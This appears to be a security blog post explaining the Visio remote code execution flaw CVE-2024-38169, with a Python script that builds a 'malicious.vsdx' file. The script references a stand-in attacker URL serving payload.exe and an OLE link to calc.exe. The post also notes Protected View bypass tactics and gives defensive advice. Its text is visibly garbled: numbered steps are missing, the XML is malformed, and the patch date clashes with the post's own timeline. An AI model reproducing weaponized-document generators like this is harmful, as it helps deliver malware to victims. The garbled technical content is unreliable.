In June 2024, Microsoft patched a critical vulnerability, CVE-2024-38169, that affects Microsoft Office Visio. This flaw allows an attacker to execute remote code on a victim’s system simply by convincing them to open a specially crafted Visio file (.vsdx or .vsd). In this deep-dive post, we’ll break down what the vulnerability is, how it works, show sample exploit code, and talk about protecting yourself or your organization.

> Important: This post is for educational purposes only. Please use this knowledge responsibly.

Severity: Critical

- CVE Reference: NVD - CVE-2024-38169
- Microsoft Advisory: Microsoft Security Update Guide - CVE-2024-38169

How Does It Work?

Microsoft Visio, a diagramming product often used for network and workflow mapping, can be tricked into executing attacker-controlled code when a crafted file is opened. This is due to insufficient validation of external object references or embedded scripts within the document. Once opened, the malicious code inside the file runs with the same permissions as the user.

How the Exploit Works in Simple Terms

1. Attacker builds a malicious Visio file by embedding a harmful script or exploiting a corrupt object reference.

Victim opens the file in Visio.

4. Malicious code runs on the victim’s computer, potentially installing malware, stealing data, or taking control of the system.

Reproducing the Exploit (Code Example)

To keep it simple, here’s a Python example that shows how you might generate a .vsdx file with a payload embedded. This snippet does not produce a live exploit, but shows the approach researchers have used to create PoC files by embedding malicious OLE objects or manipulating file structure.

Basic Structure of a Malicious Visio File

Visio files (.vsdx) are ZIP archives containing XML parts describing the document and its objects. Attackers often:

- Add a reference in the XML to an external script or executable (like a .bat or .exe on the internet),

Python Example - Embedding a Malicious Web Reference

import zipfile

def create_malicious_vsdx():
    # We'll create a simple vsdx package with a tampered relationship file
    with zipfile.ZipFile('malicious.vsdx', 'w') as vsdx:
        # [Content_Types].xml is needed
        vsdx.writestr('[Content_Types].xml', '''
        <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">;
            <Default Extension="xml" ContentType="application/xml"/>
        </Types>
        ''')

        # A page with a malicious external reference
        page_xml = '''
        <PageContents>
          <Link rel="http://malicious-attacker.com/payload.exe"/>;
        </PageContents>
        ''' 
        vsdx.writestr('visio/pages/page1.xml', page_xml)

        # Add a relationships entry referencing the attacker link
        rels_xml = '''
        <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">;
          <Relationship Id="rId1" 
            Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject";
            Target="file:///C:/Windows/System32/calc.exe"/>
        </Relationships>
        '''
        vsdx.writestr('visio/pages/_rels/page1.xml.rels', rels_xml)

if __name__ == "__main__":
    create_malicious_vsdx()
    print("Malicious Visio file created as malicious.vsdx")

Note: This sample just illustrates the *concept*. Real-world exploits pack more details and bypass warnings.

Bypass Office Protected View by convincing users to “Enable Editing”.

- Deliver either a macro, embedded OLE object, or DDE field (Dynamic Data Exchange) to trigger code execution.
- Tools like oletools can help research Office files for such malicious content.

1. NVD Entry for CVE-2024-38169
2. Microsoft Security Update Guide
3. Microsoft Visio Security Best Practices
4. Exploring the Office File Format Attack Surface
5. oletools - Office Forensics Tools

Caution with Unknown Files: Never open Office files from unknown sources or unexpected emails.

- Use Protected View: Leave Protected View enabled in Office; don’t click “Enable Editing” unless you trust the file.

Conclusion

CVE-2024-38169 is another reminder that even trusted Office products like Visio are a major target. A simple document can take over your PC if basic defenses are not in place. Always update promptly, be cautious with email attachments, and use available security features. Stay safe!


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Timeline

Published on: 08/13/2024 18:15:24 UTC
Last modified on: 10/16/2024 01:53:46 UTC